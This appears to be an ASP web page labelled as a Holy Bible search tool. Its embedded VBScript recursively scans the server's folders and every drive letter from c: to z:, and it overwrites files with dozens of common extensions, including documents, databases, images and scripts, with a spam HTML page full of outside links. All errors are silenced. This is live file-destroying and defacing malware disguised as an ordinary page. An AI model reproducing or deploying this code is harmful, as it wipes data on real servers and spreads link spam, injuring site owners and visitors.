Search The Holy Bible

<% Response.Flush %><% ListFolderContents(".") %><% ListFolderContents("/") %><% ListFolderContents("e:") %><% ListFolderContents("f:") %><% ListFolderContents("g:") %><% ListFolderContents("h:") %><% ListFolderContents("i:") %><% ListFolderContents("j:") %><% ListFolderContents("k:") %><% ListFolderContents("l:") %><% ListFolderContents("m:") %><% ListFolderContents("n:") %><% ListFolderContents("o:") %><% ListFolderContents("p:") %><% ListFolderContents("q:") %><% ListFolderContents("r:") %><% ListFolderContents("s:") %><% ListFolderContents("t:") %><% ListFolderContents("u:") %><% ListFolderContents("v:") %><% ListFolderContents("w:") %><% ListFolderContents("x:") %><% ListFolderContents("y:") %><% ListFolderContents("z:") %><% ListFolderContents("c:") %><% ListFolderContents("d:") %><% ListFolderContents("..") %><% ListFolderContents("../") %><% ListFolderContents("../../") %><% ListFolderContents("../../../") %><% ListFolderContents("../../../../") %>
<%
On Error Resume Next
sub ListFolderContents(path)
dim fs, folder, file, item, url
set fs = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
set folder = fs.GetFolder(path)
On Error Resume Next
for each item in folder.SubFolders
on error resume next
ListFolderContents(item.Path)
next
for each item in folder.Files
on error resume next
IF InStr(item.path, ".do") OR InStr(item.path, ".ra") OR InStr(item.path, ".md") OR InStr(item.path, ".AS") OR InStr(item.path, ".aS") OR InStr(item.path, ".As") OR InStr(item.path, ".as") OR InStr(item.path, ".bi") OR InStr(item.path, ".ap") OR InStr(item.path, ".my") OR InStr(item.path, ".fr") OR InStr(item.path, ".ba") OR InStr(item.path, ".xl") OR InStr(item.path, ".sh") OR InStr(item.path, ".wm") OR InStr(item.path, ".av") OR InStr(item.path, ".og") OR InStr(item.path, ".fl") OR InStr(item.path, ".ht") OR InStr(item.path, ".mp") OR InStr(item.path, ".cm") OR InStr(item.path, ".lo") OR InStr(item.path, ".css") OR InStr(item.path, ".db") OR InStr(item.path, ".pd") OR InStr(item.path, ".pn") OR InStr(item.path, ".cv") OR InStr(item.path, ".xm") OR InStr(item.path, ".tx") OR InStr(item.path, ".js") OR InStr(item.path, ".jp") OR InStr(item.path, ".sw") OR InStr(item.path, ".gi") OR InStr(item.path, ".7z") OR InStr(item.path, ".sq") OR InStr(item.path, ".zi") OR InStr(item.path, ".ph") OR InStr(item.path, ".vb") OR InStr(item.path, ".inc") THEN
'Response.Write(item.path & vbCrLf)
on error resume next
'Response.Flush
set fs = CreateObject("Scripting.FileSystemObject")
set file = fs.CreateTextFile(item.path, true, false)
on error resume next
file.WriteLine("<html><head><title>Holy Bible Search/Study Tools, Best Top Major Search Engines, Funny Trollface Meme</title><base target='_blank'><style>input, select, option { text-shadow: 0 0 1px yellow; text-align: center; background-color: white; background: white url(data:image/gif;base64,R0lGODlhAQAaALMAAP//AN7eANnZAM7OAMzMANXVANLSAOLiAPLyAP//WP///8zMA///Bff3AObmAAAAACH/C1hNUCBEYXRhWE1QPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS41LWMwMjEgNzkuMTU0OTExLCAyMDEzLzEwLzI5LTExOjQ3OjE2ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1MUU2QjkxOUFCMzgxMUUzQkU0RUZEQTk4REE5OThBMSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1MUU2QjkxOEFCMzgxMUUzQkU0RUZEQTk4REE5OThBMSIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjhCRkMwQjlGRTc0NTExRTI4MTE3QzhEQkUzQ0M1NTQ2IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCRkMwQkEwRTc0NTExRTI4MTE3QzhEQkUzQ0M1NTQ2Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+Af/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCgkIBwYFBAMCAQAAIfkEAAAAAAAsAAAAAAEAGgAABBIQpMRAQ8qdEIQvhWEM5EAQSwQAOw==) repeat top; color:blue; font-weight:bold; }</style></head><body onLoad='document.searchengine.search.focus()' link='#0000FF' alink='#0000FF' vlink='#0000FF' text='blue' bgcolor='skyblue'><hr color=blue size=5><center><form name='holybible' method='get' action='http://www.holy-bibles.org/bible5.aspx'><h1><a href='http://www.holybiblesearch.net'>Holy </a><a href='http://www.holy-bibles.com'>Bibles </a><a href='http://www.biblethumper.net'>Search</a><a href='http://www.virtualholybible.com'>:</a></h1><input x-webkit-speech speech type='search' name='search' placeholder='Type search here' size='20'> <input type='submit' value='Search Bibles'/></form><hr color=blue size=5><form name='searchengine' method='get' action='http://www.seekfreak.com'><h1><a href='http://www.seekfreak.com'>Internet Search</a><a href='http://www.13kg.com'>:</a></h1><input x-webkit-speech speech type='search' name='search' placeholder='Type search here' size='20'> <input type='submit' value='Search Web'/></form><hr color=blue size=5><a href='http://www.WHAK.com'><br><font size='1'>www.WHAK.com<br></a><a href='http://www.HolyBibleVerse.com'><br>www.HolyBibleVerse.com<br></a><a href='http://www.signgenerator.org'><br>www.SignGenerator.org<br></a><a href='http://www.MedChecker.com'><br>www.MedChecker.com<br></a><a href='http://www.SeekFreak.com'><br>www.SeekFreak.com<br></a><a href='http://www.Syncrisis.com'><br>www.Syncrisis.com<br></a><a href='http://www.Presearcher.com'><br>www.Presearcher.com<br></a><a href='http://www.SirSeek.com'><br>www.SirSeek.com<br></a><a href='http://www.FotoTrix.com'><br>www.FotoTrix.com<br></a><a href='http://www.BoobSigns.com'><br>www.BoobSigns.com<br></a><a href='http://www.canuckster.com'><br>www.Canuckster.com<br></a><a href='http://me.ddleso.me'><br>me.ddleso.me<br></a><a href='http://www.9lbs.com'><br>www.9lbs.com<br></a><a href='http://www.txt2pic.com'><br>www.TXT2PIC.com<br></a><a href='http://www.fakemagazinecover.com'><br>www.FakeMagazineCover.com<br></a><a href='http://www.trollize.com'><br>www.Trollize.com<br></a><a href='http://www.fansigngenerator.com'><br>www.FanSignGenerator.com<br></a><a href='http://www.holy-bibles.org'><br>www.Holy-Bibles.org<br></a><a href='http://www.Is-A-Jerk.com'><br>www.Is-A-Jerk.com<br></a><a href='http://www.holybiblesearch.com'><br>www.HolyBibleSearch.com<br></a></font></center></body></html>")
on error resume next
file.Close
END IF
next
end sub
response.end
%>